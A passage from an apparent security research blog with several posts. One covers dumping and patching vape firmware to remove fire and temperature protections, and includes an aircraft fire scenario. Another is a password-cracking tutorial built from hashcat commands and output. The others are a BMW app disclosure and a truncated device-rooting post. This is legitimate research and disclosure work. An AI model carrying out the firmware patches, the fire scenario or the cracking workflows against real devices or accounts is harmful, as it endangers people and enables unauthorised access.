  2. Current is supplied to the coils which make them heat up.
  3. Liquid on the cotton wick evaporates.

1- The problem with vape batteries:

The majority of batteries are encased in steel and shrink-wrapped to ensure proper isolation of the positive and negative poles and prevent a short. A short could lead to an explosion or fire depending on the quality of the battery.

High-quality batteries come with safety valves and a protection board, which keeps the safety performance quite high. When a high-quality battery is shorted, the safety valve opens, releasing the pressure and preventing an explosion; but, the chemicals that are released can react with oxygen in the air and still possibly create a fire. Low-quality batteries offer almost no protections. Their safety valves cannot keep up with the fumes being released, thus pressurizing the container and probably exploding.

 So what would cause a battery to explode? Well, here are a few potential causes:

  • Being stored in humid or high-temperature conditions (exceeding 65˚C).
  • Over-charging, shorts, punctures, being exposed to fire.
  • Overheating.
  • Poor maintenance, such as damaging the shrink wrap.
  • Use of non-authentic batteries (a.k.a. clones).
  • Using batteries to power coils with inappropriate resistance ratings.

One major problem that vape users face is damage to their batteries’ shrink wrap. Due to repeated removal and insertion, the shrink wrap starts to peel off the battery. This exposes the negative and positive poles, which could allow shorting in certain conditions. 

Well maintained battery vs poorly maintained battery

The battery on the left is properly sealed with shrink wrap, while the battery on the right has had its shrink wrap peeled off due to excessive use (placing it into the charger and back into the mod).

The dangers of such batteries include the fact that they can be taken onboard planes with no restrictions. Using just a battery and a coin, you can create a fire or explosion, depending on the quality of the battery.

Battery with a damaged shrink wrap shorted with a coin

2- Disabling protections of a regulated mod:

To weaponize a regulated mod, we need to first set some goals in order to get the best results. Here’s a list of things we need to do:

  1. Acquire the the firmware. [✔️]
  2. Find and patch the protections: [✔️]
    1. Continuous fire protection. [✔️]
    2. Disable Maximum temperature protection. [✔️]
    3. Set its initial watt/temperature to the max.[✔️]
    4. Trigger the firing mechanism without pressing the fire button.[✔️]
    5. Disable other protections that are triggered along the way.[✔️]
  3. Reprogram the mod and see if it accepts modified firmware.[✔️]

There are two ways to acquire the firmware: from the vendor’s site (vendors usually have firmware in the support section of their websites where they provide software updates) or by dismantling the device (looking for debug pins (JTAG/SWD) and dumping the firmware).

To dump the firmware, we start by identifying the components in the box mod vape.

This regulated mod uses a Nuvoton NUC220LE3AN an ARM cortex-m0 microcontroller
Nuvoton NUC220LE3AN

The following pins are exposed on the PCB:

  • G: VSS (Ground)
  • V: VCC (Power)
  • D: DATA
  • C: CLOCK
  • R: RESET
Nu-Link Pro programmer/debugger
Hooking the Nu-link to the Box mod

  • We used the following steps to dump the firmware:

    1.) Hook the NuLink-pro debugger to the Nuvoton chip using OpenOCD.
    2.) Attach gdb-multiarch to remote target. (multiarch used for arm) & we’ll debug later.
    3.) Telnet to OpenOCD on localhost:4444 to dump firmware.
    4.) Check the dumped image.

Once you’ve acquired the firmware, it’s time to take it to your favorite disassembler and load it.

ARM Cortex-M0 is little endian , ARMv6-M Architecture , Thumb instructions
  • Then create the segments in accordance with the microcontrollers datasheet
    • [TIP]: If you use IDA-PRO 7.5 or BinaryNinja you can use the SVD plugins to create your chip’s peripherals by obtaining its SVD file and loading it via that plugin.
Create segment mapping by reading the datasheet for the chip

Or, you can write a small script and let it create the segments for you.

Segments created

  • Align the interrupt vector table: (the interrupt vector table is 4-byte aligned)
    • An interrupt vector table is a structure full of exception handlers; when an exception is triggered, a function is called and its instructions are executed. Each exception in the interrupt vector table points to a function. For instance, if you press a button on a device, it triggers an exception. The function associated with the exception is looked up in the interrupt vector table, and the instructions within that function are executed. 
    • The interrupt vector table includes an exception named the reset vector. This address is the entry point where the first instructions that the microcontroller will execute after a reset/startup/boot are found (usually at offset 0x4 from the firmware’s base address).
    • The image below illustrates how the interrupt vector table is aligned.
Before Aligning the Interrupt Vector Table
After Aligning the Interrupt Vector Table

· The reset vector initially points to address 0xd5, which is actually one byte after the real reset vector address. The reason behind this is that before it branches to an address, the microcontroller checks to see if the LSB is set to 1 or 0. Depending on the value, it will branch to execute Thumb (1) or ARM (0) instructions. In our case, the LSB will be set to 1 as the ARM Cortex-M0 executes Thumb code. If the LSB is set to 0, it will raise a hard-fault exception since there are no ARM instructions supported here. To know what a branch will do, you can simply do a bitwise operation on the address. Once you get the address, go to the reset vector address, convert it into a function, and let the disassembler do its magic.

Now we’re all set for finding our protections and start our patching process.

Patch#1 Disable maximum temperature protection 

· This protection does not allow the vape to fire if the device temperature exceeds 75˚C (0x4b). This can be patched to 0xff (255˚C) or disabled altogether, meaning there is no max temperature check.

Device temperature check (75C)

Patch#2: Set initial watt/temperature to max 

  • These patches set the mod to deliver maximum power to the coils. Referring to the video below, you can hear the difference when the mod is fired at the same wattage (6.1) before and after patching the firmware.
Before (Left) and After (Right) Patching
Before (Left) and After (Right) Patching

Patch#3: Disable continuous fire protection 

  • This can be accomplished by patching the firmware to never allow the GPIO’s data output value to be reset to its original value, which in this chip was `0x0000FFFF` (see patch #4).

Patch#4: patch the firmware to trigger the firing mechanism without pressing the fire button

  • The following video demonstrates what can happen if the device is programmed with malicious firmware that causes the vape to fire on its own. 
Enabling the fire button via software, no need to press the fire button

Other Protections:

  • I found a few other protections that needed to be patched, such as:
    • OHM resistance checks for the coils.
    • Battery checks.
    • Max puffs.
    • Atomizer checks. 
    • Protection Abuse checks.
ME ABUSING PROTECTS!

Based on what I learned about the inner workings of regulated vape devices, I do believe that in certain cases vapes can be weaponized. A malicious actor could wreak havoc by causing them to explode or start a fire remotely, since the firmware can be patched to make the vape or its components operate without any sort of protection in place, effectively turning it into a unregulated mechanical mod.

Threat scenarios:

  • I don’t doubt that in the near future we will see malware (MalVapevapeware) targeting users that charge their devices from a laptop or devices that support OTA updates via Bluetooth. Simply put, malware can listen on USB/Bluetooth for vape devices and then trigger a firmware update, reprogramming the vape to become weaponized.

  • Vapes, high-drain batteries, and coins are allowed on airplanes. A malicious actor can cause a fire in an aircraft lavatory by throwing a battery attached to a coin into the waste bin where all the tissues are thrown. Same goes for the vape being triggered.
  • Vapes can be maliciously programmed to suddenly fire at a set time and date, if they have time and date settings.

Recommendations:

  • Vape firmware should be signed and encrypted:
    • Firmware that is signed ensures that the firmware being reprogrammed to the device is indeed by the vendor not by a malicious actor. 
    • Encrypting firmware makes it more difficult for attackers to reverse engineer it. Although this is security by obscurity, it would stop most attackers.
  • Vapes can be dangerous if poorly maintained.
  • Don’t charge your vape from a laptop. Use authentic external battery chargers.
  • Always ensure Bluetooth/wireless connectivity is switched off on your vape if it supports OTA firmware updates. In general, vapes shouldn’t have wireless capabilities, as it expands the attack surface.
  • Choose and buy authentic and well-known atomizers and mods. 
  • Always ensure that you purchase Authentic batteries. Accidents happen when fake batteries are used.
  • Always carry batteries in a battery case.
Battery Case

References:

INSIGHTS, RESEARCH | September 28, 2020

Password Cracking: Some Further Techniques

To begin at the beginning.

A password hash is a transformation of a password using what we call a “one-way” function. So, for example, ROT-13 (rotate by half the alphabet) would be a very, very bad password hash function and would give fairly recognizable results like “Cnffjbeq123!”. The one-way property means it must be essentially impossible to construct the inverse function and recover the original, and functions like MD5 or SHA1 certainly meet that particular criterion. Iterated encryption functions like DES have also been used (for example LAN Manager hashes), but seem to have fallen out of favor a while ago. There are a load of technical, cryptographic details which neither you or I need to know, but essentially we’ll end up guessing at loads of passwords and then performing the same one-way function and checking to see if we’ve arrived at the correct answer.

Now if we wanted to optimize our guessing procedure, we could create a giant lookup table of all possible passwords and all possible corresponding hashes. (As an aside, this might actually be slower than computing a really fast hash like MD5, because disk access is slower than doing a small number of things in CPU.) So at some point, a long time ago, a thing called a salt was added to the password hash on UNIX systems. A salt is a random number stored along with the hash, which goes into the hash computation as well. This gives two benefits:

  1. If the salt is long enough and random enough, it is no longer feasible to build a lookup table – it just gets too big.
  2. You have to attack each hash on its own; i.e. run a separate computation for each (salt, password candidate) pair.

So we arrive at something like sha512crypt, which is many iterations of SHA512 with a large random salt. It is fairly slow to compute each guess, which makes our job harder, for example:

Now, you can attack this by putting it in a file and running John the Ripper (https://www.openwall.com/john/) like this:

D:\john\run> john.exe sha512crypt.txt

or with hashcat (https://hashcat.net/hashcat/) like this:

hashcat.exe -a0 -m 1800 D:\hashcrack\john\run\sha512crypt.txt D:\hashcrack\dict\Top95Thousand-probable.txt -r D:\hashcrack\rules\best1222.rule -O -w3

So the problem now becomes “just” choosing all the magic parameters, which are explicit with hashcat and implicit with John the Ripper. Because I don’t like typing the same thing over and over again, I wrote a helper script called “hashcrack” (https://github.com/blacktraffic/hashcrack).

Briefly, hashcrack tries to guess the hash type and then runs some sensible attacks based on the speed of the hash. It of course does this by invoking hashcat, John the Ripper, a bunch of conversion/extraction scripts that come with John the Ripper, or occasionally impacket or SQLite. For example, taking a Responder db file (from the test suite) below:

D:\hashcrack>python hashcrack.py -i tests\Responder.db
    Running under win32
    Reading file: D:\hashcrack\tests\Responder.db
    Couldn't parse first line of file - trying as latin1

    [at this point it pulls out the NetNTLMv1 and v2 hashes into .tmp files - "SELECT fullhash FROM responder where type like 'NTLMv2%'" ]

    RUN: hashcat.exe -a0 -m 5600 D:\hashcrack\tests\Responder.db.tmp D:\hashcrack\dict\\\Top95Thousand-probable.txt -r D:\hashcrack\rules\\\best22405.rule  --loopback  -O --bitmap-max=26  -w3  --session hc
    ...
    IEUSER::IEWIN7:ed9cc20456c23e34:939e00dfea66e08e8b...03100000000000000000000000000:Passw0rd!

It is very much a glorified helper script, but it does at least tell you what command it decided to run in case you do need to tweak it further, and it does its best to unpack whatever it is to hashcat format.

First, catch your hash

Obtaining and recognizing hashes and then turning them into the correct format for John the Ripper or hashcat is not always a trivial exercise. At a minimum, we have the following main types.

Windows

  • Stored passwords, such as NTLM – How Attackers Dump Active Directory Database Credentials – https://adsecurity.org/?p=2398
  • NetLMv1/v2 – These can be captured using Responder or leaked from various applications, if you can get them to connect to your fake SMB share.
  • Kerberoasted hashes – These can be captured using Invoke-Kerberoast, Rubeus, or similar to perform Kerberoasting against an AD domain.
  • Domain cached credentials – These can be captured using password dumping tools on the local machine or by taking the three registry hives (security, system, and SAM) and unpacking them with impacket’s “secretsdump” (https://github.com/SecureAuthCorp/impacket)

UNIX

For Linux, these would typically be in /etc/shadow and the format will be sha512crypt or bcrypt for modern operating systems, starting with things like “$2$” or “$6$”. For AIX, you might find DEScrypt hashes in /etc/security/passwd, but the common theme is crypt formats (https://www.man7.org/linux/man-pages/man3/crypt.3.html).

Database

Generally, as DBA, you can query the password hashes out of the databases such as PostgreSQL, MySQL, Oracle, MSSQL, etc.

Documents

Password protected ZIP, Word, Excel, PDF files – Various scripts that come with John the Ripper which extract password hashes from these files.

Web Applications

You might see these if you can connect directly to the backend database or if you can exploit SQL injection. This can be anything the developers thought was a good idea, from MD5 to bcrypt. Using the phpass format as an example, it might be something like $P$984478476IagS59wHZvyQMArzfx58u.

Information implied by format

So where you get the hashes from gives you some clues about how to proceed. All Windows hashes should meet the domain’s password policy – unless the admins have given special dispensation. Web or database passwords could be any length in theory. WPA2 passwords must be at least eight characters according to the standard.

For unsalted hashes, such as plain MD5, or NTLM, or SHA1, you can attack a thousand hashes as quickly as one, so you may as well load them all up. Otherwise, you may need to pick hashes of particular interest.

Again with the quicker hashes, you may as well just throw everything at it and see what comes out – you can always refine your approach based on what you crack. With slower ones, it’s worth thinking about it or trying to find “cribs” (potential passwords, or parts of passwords) elsewhere on the system.

Benefits and constraints of using a GPU

You can of course do this all on CPU if you want, but for most hash types, GPU is much quicker. For example, bcrypt can be quicker on CPU because it has been designed that way. I’m not going to talk about FPGAs here, but that is a good approach if you really need it (e.g. https://www.usenix.org/system/files/conference/woot14/woot14-malvoni.pdf)

Because a lot of people like playing games with nice graphics, fairly cheap parallel processors are readily available. But there are certain limitations on how we can get them to process our workload. For the two most popular password cracking programs, hashcat and John the Ripper, this means expressing the search space in terms of a dictionary and a set of rules (or transformations) or a mask, which is essentially a set of possible character values to search. For the faster hashes, like NTLM and SHA1, you will need to supply a list of rules and a big enough wordlist in order to keep the GPU busy – I gather this is something to do with how quickly you can send data over the bus, but whatever the reason, using a short wordlist and no rules will not make best use of the GPU (hashcat will warn you about this).

Meanwhile, mask attacks are quick if you give a sufficiently large search space.

Hashcat expresses masks in a slightly odd way, so we have ?a, representing all ASCII values, ?d representing digits, ?l and ?u being lower- and upper-case respectively, and ?s meaning special characters. You may also see ?b which means any byte.

Thus a search using ?u?l?l?l?l?l?l?l?s will eventually match Password!, but will also catch everything from Aaaaaaaa! through to Zzzzzzzzz}

In the same way, the rules language describes how to transform a base word into the final guess, in terms of deleting or swapping characters or adding them to the start or end of the word. Like a CPU, it only implements a finite set of common operations, and we have to work with what’s there. If we assume “password” is the base:

$1$2$3 means append 123, so we get password123

^3^2^1 means prepend 123 (because we prepend 3, then prepend 2 to “3password”, etc.)

so0 means swap ALL ‘o’ characters to ‘0’ (zero), so it becomes “passw0rd”

One of the limitations of hashcat is that we can’t just swap some of the o characters to 0s, it’s all or none. (Research shows that humans tend to add complexity to the end of passwords, so suffixes are more likely to be helpful than prefixes.)

Dictionary and Rules

A “normal” run of hashcat might look like this, where we have a dictionary of common passwords in decreasing order of frequency and a rules file. I have given the hashcrack command, and the “RUN: ” is exactly how it decides to run hashcat.

The file I’m running it against is the last couple of million of the Have I Been Pwned NTLM dataset (https://www.troyhunt.com/pwned-passwords-now-as-ntlm-hashes/). I’ve written elsewhere about cracking the first 500 million, but for now, it’s just some convenient test data.

 ./hashcrack.py -i hashes.txt -t ntlm -d /root/dict/Top2Billion_probable.txt -r rules/InsidePro-PasswordsPro.rule
    RUN: ./hashcat64.bin -a0 -m 1000 hashes.txt /root/dict/Top2Billion_probable.txt -r /root/hashcrack/rules/InsidePro-PasswordsPro.rule  --loopback -O  -w4

If we look at the debug file produced by doing –debug-mode=4 –debug-file=dbg.log, we can see the dictionary word on the left, the rules applied in the middle, and the thing we found on the right.

We can give a directory as the dictionary argument, which means it tries every file in the directory one after the other. And we can give two rule parameters, which means it combines each rule in the first with every rule in the second. This means it gets big fast, but this can be useful if you have orthogonal rulesets (e.g. one for dealing with passphrases and one for endings like “123”, “123!” etc.). Combining insertions.rule and a normal ruleset got me t++19882008 with the t coming from the normal rules, and the ++ coming from insertions.rule.

Masks and Maskfiles

You can specify a search space using masks. For example, the following will try all ASCII passwords of length 1-5:

 ./hashcrack.py -i hashes.txt -t ntlm --mask ?a?a?a?a?a?a
    RUN: ./hashcat64.bin -a3 -m 1000 hashes.txt ?a?a?a?a?a?a -i  -O   -w4

You can also specify this in a file, where you can define the character classes ?1, ?2, ?3, ?4 and then use them in the final field of the line. The following will search through default passwords and variants:

And then it will try each one, with the custom charsets given:

$ ./hashcrack.py -i hashes.txt -t ntlm --mask maskfiles/defaultpass.hcmask
    RUN: ./hashcat64.bin -a3 -m 1000 hashes.txt /root/hashcrack/maskfiles/defaultpass.hcmask  -O   -w4  --session hc

This guesses things like P@ssword, p@ssword, Password, password, … for example.

Combining lists

But what if I want to make like the Large Hadron Collider and just smash things together and see what happens? Well, there’s mode -a1 in hashcat, combinator and combinator3 from hashcat-utils (https://github.com/hashcat/hashcat-utils), and the PRINCE preprocessor (https://github.com/hashcat/princeprocessor).

Below, the file last1-5.txt contains commonly observed suffixes from my data, but you can also run two password dictionaries against each other. Found passwords will be the concatenation of one entry from the first dictionary and one from the second. In this case, “samtron” is in Top95Thousand-probable.txt and “_r89” is in last1-5.txt.

$ ./hashcrack.py -i hashes.txt -d /root/dict/Top95Thousand-probable.txt -e /root/dict/last1-5.txt -t ntlm
    RUN: ./hashcat64.bin -a1 -m 1000 hashes.txt /root/dict/Top95Thousand-probable.txt /root/dict/last1-5.txt   -O   -w4  --session hc

    8dd1b62216b2703737ad28b59b1bad1d:samtron_r89
    8bdc261caed3145d2a9f4f9de8ab31e2:greentreejkvl
    9e3e0d23ddb9be5a9498b4c9b4366336:ruby@bds
    244e2d25960ca0b8747efd0a1ab3c2f6:shashank.n87
    8c9df56a1769a1d8ed3a43989d25cd6f:conway7o4s
    b35f0b7e18945d4f1e79b6338a51d519:GarfieldH170
    1ff1fdb36d4b3c79cdc5a6d4d01230cb:canuckh2oz

Phrases

I extracted a bunch of short phrases from Google’s n-gram corpus (http://storage.googleapis.com/books/ngrams/books/datasetsv3.html) to play with, but there are other publicly available lists of passphrases. You will need slightly different rules, because you might want to capitalize things after spaces, swap space to underscore, or such. Try https://github.com/initstring/passphrase-wordlist/tree/master/hashcat-rules

  $ python hashcrack.py -i hashes.txt -t ntlm -d c:\Users\jamie\Desktop\words\1-4grams.txt -r rules\passphrases.rule
    RUN: hashcat.exe -a0 -m 1000 D:\hashcrack\hashes.txt c:\Users\jamie\Desktop\words\1-4grams.txt -r D:\hashcrack\rules\passphrases.rule  --loopback  -O --bitmap-max=26  -w3  --session hc

    25d9bebab099e8ef6e0ee0c496a2c917:ambitiouspeople
    f08eacad22f93cf1ad34ad34aaa119e6:industrialwelding
    a820d36ec57c4ef2c4426c242f50248e:simplysatisfied
    5dcbdc8902e458f07bc06eebd8273a6e:WarmFlame
    241d1c802fd187f35b3e2b9789b81b6e:JohnBelfield
    76cdc9d7543af6effda11f8ccef75669:EyeCannot
    17c9ea43a66e21f14a1ed106d06755d4:perhaps_forget
    4c2ba3c55cbdcaf1bc83f94777a3b6dd:imaginative_mind

Markov Models

As with all machine learning/statistical approaches, this works best if your training data is representative of the stuff you’re trying to crack. Which you don’t know, because you haven’t cracked it yet, but it’s a reasonable guess that it might follow the same form as fragments of English text. Travco wrote a nice quick program to do this: https://github.com/travco/rephraser.

In this case, ‘corpus.txt’ should be a lot of English sentences (or from whatever language you think might be in use).

$ python3 ../rephraser/rephraser.py --corpus corpus.txt --model ./wiki1M_model.keyvi | ./hashcat64.bin -a0 -m 1000 hashes.txt -r /root/hashcrack/rules/passphrase.rule -r ../rules/best1222.rule --loopback  -O   -w4

    57871172a2cd8ada7c7794fcb4a1820b:ToStayAtHome07
    def7c2415d3d240ff0c4821858b26402:ToBeReset
    affbfba14f0b54b5f2ff5db1873d3401:AnABootCamp
    33398e1f2542b9b973b5b9a726caf347:TOUNTHEBIG
    50d1e344e7d32c5c354ab8a97119c8c5:Abbyishard
    7efe3e0e20145e33a35d83e07d69e7bc:Andistillmay

Leetification

This is the term I use for swapping things like o->0, s->5, e->3 and so on, as people sometimes do in their passwords, for example “Pa55w0rd”. You can do this in rules if you want to swap all occurrences, but I suspected there might be a lot of people who did not consistently do this. Hashcrack can do this using the -3 flag:

    $ ./hashcrack.py -i hashes.txt -3 -t ntlm

which basically does this:

    $ python3 ../scripts/leetify.py /root/dict/Top2Billion_probable.txt | ./hashcat64.bin -a0 -m 1000 hashes.txt -r /root/hashcrack/rules/best22405.rule  --loopback  -O -w4  --session hc

and that script does a recursive leetification process.

Which gets us things like the following, where some, but not all, of the characters have been leetified.

Measuring rule quality

You can use debug output to see how often a rule is firing by adding –debug-mode=4 –debug-file=foo to the hashcat command line.

You can then use this data to count how many times each rule fires and plot a nice graph.

Obviously, this doesn’t account for the fact that two different rules may carry out the same transformation. ^”$” and $”^” both enclosed the candidate password in quotes, but only the first one in your list will get counted with this approach.

Measuring password quality

Another thing we can do is visualize how quickly passwords got cracked with any particular method, using hashcat’s status output and counting the cumulative number of passwords at each “tick.”

 hashcat64.exe -a0 -m 1000 C:\Users\jamie\Desktop\hashcrack\defcon2010-ntlm.txt C:\Users\jamie\Desktop\hashcrack\dict\\\Top32Million-probable.txt -r C:\Users\jamie\Desktop\hashcrack\rules\\\l33tpasspro.rule  --loopback  -O --bitmap-max=26  -w3  --session hc   --status >> graphme

    d:\hashcrack>python graph-by-quality.py hashcat-5.1.0\graphme

This can be used for evaluating the overall strength of the passwords – obviously, a steep initial curve means that lots of things cracked very quickly, and the defenders want to make the graph as flat as possible.

Representation and non-ASCII

If you’re trying to crack non-ASCII characters, you need to know how the underlying system deals with encoding and storage of the non-ASCII characters. For example, if you try to crack the NTLM hash for “Gü” :

Which is ”ü” according to CP-1252, as documented here: https://en.wikipedia.org/wiki/Windows-1252

But if we crack it like this, we get something:

So it appears my DOS window doesn’t like UTF-8:

but it does save it properly in the potfile when viewed with a sensible editor:

For more info, see:

Slower Hashes

Let’s take a look at three different hash types with fairly different designs – NTLM, WordPress (phpass), and bcrypt. Firstly, NTLM is not salted, so we can attack many hashes in parallel for free, which is a truly awful thing for defenders. The other two are salted, meaning each hash needs to be attacked separately, making cracking millions of hashes millions of times harder.

The other main difference is relative speed. Using a 1080 Ti as a reference platform, I can get a speed of 50 billion guesses per second against NTLM, around 8 million against WordPress, and about 20 thousand against bcrypt. However, bcrypt comes with a cost parameter, which can be adjusted to make the hash slower to compute, and the hashcat example is unusually generous in using a cost factor of five. Most modern implementations would use 10 or 12, meaning we can only make about one thousand guesses per second.

The purpose of this cost factor is that defenders want to make the computation take as long as possible without actually annoying the user – so, ideally, it would be a couple of hundred milliseconds or so. As computers get faster, we increase the cost factor and hopefully make things prohibitively expensive for attackers. That is, providing we can stop our users from picking passwords like “Summer2020”.

If you are attacking a hash like bcrypt, you need to start with the most likely passwords and possibly only attack the hashes you think are most useful; remember ,computing one bcrypt guess is 50 million times slower than computing one NTLM guess. Therefore attacking 1000 bcrypt passwords is 50 billion times slower than attacking 1000 NTLM passwords.

Just so you can see what the various hashes look like, here’s a demo of cracking the “hashcat” example WordPress (phpass) hash:

    D:\hashcrack>python hashcrack.py --hash "$P$984478476IagS59wHZvyQMArzfx58u." -d hashcat.txt
    Running under win32
    Reading file: C:\Users\jamie\AppData\Local\Temp\\zc2lxx1b.hash.tmp
    Autodetected phpass
    Cracking hash type 400
    RUN: hashcat.exe -a0 -m 400 C:\Users\jamie\AppData\Local\Temp\\zc2lxx1b.hash.tmp D:\hashcrack\hashcat.txt  --loopback  -O --bitmap-max=26  -w3  --session hc
    ...
    $P$984478476IagS59wHZvyQMArzfx58u.:hashcat

Cracking the “hashcat” example bcrypt hash:

    D:\hashcrack>python hashcrack.py --hash "$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6" -d hashcat.txt
    Reading file: C:\Users\jamie\AppData\Local\Temp\\_kwbmbla.hash.tmp
    Autodetected bcrypt
    Cracking hash type 3200
    Selected rules: best1222.rule, dict Top95Thousand-probable.txt, inc 0
    Using dict and rules
    CWD: D:\hashcrack\hashcat-5.1.0
    RUN: hashcat.exe -a0 -m 3200 C:\Users\jamie\AppData\Local\Temp\\_kwbmbla.hash.tmp D:\hashcrack\hashcat.txt -r D:\hashcrack\rules\\\best1222.rule  --loopback  -O --bitmap-max=26  -w3  --session hc
    $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6:hashcat

And then, an example of a more realistic bcrypt hash with significantly slower speeds:

Go Forth and Crunch

That is a bit of a whirlwind tour of hashcat and how to use it, together with various other add-ons. For further advice I’d say:

  • NVIDIA 1080/2080 gives a reasonable bang for your buck right now.
  • Learn the main modes and how you can use them to build the password guesses you’re thinking of.
  • Think of various hypotheses for what passwords might look like and test them out.
  • Make use of cribs such as company name, location, current season, current year, and things like that.
  • Cool your rig adequately.
  • Have fun.

References

INSIGHTS, RESEARCH | September 24, 2020

Uncovering Unencrypted Car Data in BMW Connected App

TL; DR: Modern mobile OSes encrypt data by default, nevertheless, the defense-in-depth paradigm dictates that developers must encrypt sensitive data regardless of the protections offered by the underlying OS. This is yet another case study of data stored unencrypted, and most importantly, a reminder to developers not to leave their apps’ data unencrypted. In this case study, physical access to an unlocked phone, trusted computer or unencrypted backups of an iPhone is required to exfiltrate the data, which in turn does not include authentication data and cannot be used to control or track the vehicle in any way.

Introduction

“While modern mobile operating systems allow encrypting mobile devices, which users can use to protect themselves, it is ultimately the developer’s responsibility to make sure that their software is thoroughly safeguarded. To this end, developers should provide reliable mobile app data encryption that leaves no user data without protection.” — Dmitriy Smetana.[1]

Physical theft is not the only attack vector that threatens the data stored on a mobile phone. Imagine, for instance, a shared computer at home or in the office where a phone has been authenticated and trusted. When the phone is connected and authenticated, a malicious actor with access to this computer would be able to extract its apps’ data. The likelihood is low in the real world, though.

One day during the pandemic I was wondering if my car’s mobile app was encrypting the data or not. So, I decided to analyze it:

Scope and Tools Used

The following navigation-equipped cars were used for this analysis:

· X5 xDrive40i (2020)

· 120i (2020)

· X1 sDrive20iA X Line (2018)

BMW Connected is a mobile app compatible with 2014 and newer navigation-equipped vehicles (BMW ConnectedDrive[2]). It allows the user to monitor and remotely control some features such as:

    · Lock/Unlock

    · Location tracking

    · Lights

    · Horn

    · Climate control

    · Destinations (navigation system)

    · Doors and windows status

    · Fuel level

    · Mileage

BMW Connected App Demonstration

The latest version of the app available on Apple Store was:

    · BMW Connected for iOS v10.6.2.1807

I installed the app on two iPhones, neither of which were jailbroken:

    · iPhone XS Max (iOS 13.4.1)

    · iPhone 8 Plus (iOS 13.3.1)

Then, I found unencrypted data using the following basic tools:

    · Windows 10 Home

        o iMazing[3]

    · Ubuntu Linux 19.10

        o strings

        o plistutil

        o base64

        o jq

Analysis and Results

You’ll see how easy it was to extract and decode the stored data.

Data Stored Unencrypted

The cars were added and authenticated within the app:

For both installations, the same behavior was observed: data was stored base64-encoded but unencrypted in .plist files. I used the plistutil command to decode such files, then, I piped the output through other command-line tools to strip empty lines and spaces.

Once I had the base64 strings, I decoded them with the base64 tool and finally, formatted and colorized the JSON output with the jq tool:

    · Favorite locations (FavoritesCollection.plist)

   · Directions sent to the vehicle (TripStorage.plist)

   · Status of doors and windows (VehicleHub.Suite.plist)

    · Mileage and remaining fuel (VehicleHub.Suite.plist)

    · History of remote actions (VehicleHub.Suite.plist)

    · Car color and picture (VehicleHub.Suite.plist)

    · Next maintenance due dates (VehicleHub.Suite.plist)

    · VIN and model

    · Owner’s first and last name and last logged date (group.de.bmw.connected.plist)

Weak Password and PIN Policies

On registration, I noticed the password policy only required eight characters from at least two of the following three charsets:

    · Letters (abc = ABC)

    · Numbers

    · Special characters

Such a policy might seem good enough; however, making the password case-insensitive significantly decreases its complexity. During testing, it was possible to login with any of the following passwords:

    · Qwerty12

    · QWERTY12

    · QwErTy12

Also, the app permits users to select an easy-to-guess PIN, which is used to unlock the car or access the app if the smartphone does not implement FaceID, TouchID, or a passcode. The existing PIN code policy allows users to choose weak combinations, such as consecutive numbers (e.g. “1234”) or the same number (e.g. “0000”).

However, the most commonly used feature for authentication is either FaceID or TouchID.

Recommendations

The takeaways are very simple:

    · For end-users:

        o Only authenticate your phone on trusted computers.

        o Avoid connecting and trusting your phone to shared workstations.

        o Use complex passwords and PIN codes.

    · For developers:

        o Do not put your complete trust in the operating system.

        o Encrypt sensitive data on your own.

Responsible Disclosure

One of IOActive’s missions is to act responsibly when it comes to vulnerability disclosure.

The following is the communication timeline with BMW Group:

· May 2, 2020: IOActive’s assessment of the BMW Connected App started.

· May 15, 2020: IOActive sent a vulnerabilities report to BMW Group following its guidelines.[4]

· May 20, 2020: BMW Group replied. They internally sent the report to the responsible departments.

· May 26, 2020: IOActive asked BMW Group for any updates or questions and let them know about our intention to write a blog post.

· May 28, 2020: BMW Group said to wait for a new app release prior publishing a blog post and asked for details to include the researcher in BMW Group’s Hall of Fame site.

· Aug 07, 2020: BMW Group and IOActive had a call to discuss the technical information that would be published in a blog post.

· Aug 13, 2020: BMW Group sent an email explaining how they would fix the issues.

· Aug 19, 2020: IOActive sent a draft of the blog post to be published to BMW Group for review.

· Aug 24, 2020: BMW Group suggested some modifications.

· Sep 08, 2020: IOActive sent the second version of the draft of the blog post to be published to BMW Group for review.

· Sep 11, 2020: BMW Group agreed with the final content.

· Sep 22, 2020: IOActive published this blog post.

The Fix

BMW Group’s security statement:

“Thanks to the notification of Alejandro Hernandez at IOActive via our responsible disclosure channel, we were able to change the way the app’s data cache is handled. Our app development team added an encryption step that makes use of the secure enclave of Apple devices, at which we generate a key that is used for storing the favorites and vehicle meta data that Alejandro was able to extract. We appreciate Alejandro for sharing his research with us and would like to thank him for reaching out to us.”

Acknowledgments

I would like to give special thanks to my friend Juan José Romo, who lent me two brand new cars for testing.

Also, I’d like to thank to Richard Wimmer and Hendrik Schweppe of BMW Group for their quick response and cooperation in fixing the issues presented here.

Thanks for reading,

Alejandro

@nitr0usmx


[1] Mobile Data Encryption in iOS: Techniques and Technologies: https://www.apriorit.com/dev-blog/436-data-encryption-ios

[2] BMW ConnectedDrive – https://www.bmw-connecteddrive.com

[3] https://imazing.com

[4] https://www.bmwgroup.com/en/general/Security.html

INSIGHTS, RESEARCH | September 17, 2020

No buffers harmed: Rooting Sierra Wireless AirLink devices through logic bugs

There are not many occasions when you can build a chain of exploits and not harm a single buffer, so it is interesting when you find yourself in one of those rare situations. As the title clearly indicates, this blog post will comprehensively describe the entire process that would allow a malicious actor to root Sierra Wireless AirLink® devices. 

Let’s do this! 

A couple of years ago the guys at Talos did a great job and killed many bugs in AirLink devices. As usual, before buying a device I always analyze the firmware first in order to get an overall impression of what I may face. Sierra Wireless has a nice website where it is possible to download firmware, so I chose my target (the RV50) and proceeded.

Analyzing the Firmware

After unpacking the firmware, we are presented with the following list of files:

The first notable thing is that well-known image formats, such as ‘rootfs.sqfs.uboot’, ‘uImage.recovery’ or ‘zImage’ are detected as ‘data’ so there should be something going on. As expected, a quick look at those files shows that they are definitely encrypted. Hopefully the only ‘clean’ binary that is present in the firmware (‘swinstaller’) will help us to figure out the scheme.

As you can see, it seems that, as we initially guessed, the important files are all encrypted. So, the next step is to spend some time digging through a C++ binary to understand the encryption algorithm. Some of the strings clearly pointed to ‘libtomcrypt’ as the encryption library, which definitely will help to reconstruct some of the symbols and logic in order to facilitate this sometimes tedious task.

They are using AES CTR without any apparent hardcoded key or IV, so there should be some logic that generates them at runtime. After reverse engineering the binary, we can break the encryption scheme into two different items: the values needed to derive the IV and the key and process for deriving them. 

1. Values

There are two different values that are required to properly derive the IV and the key for AirLink devices

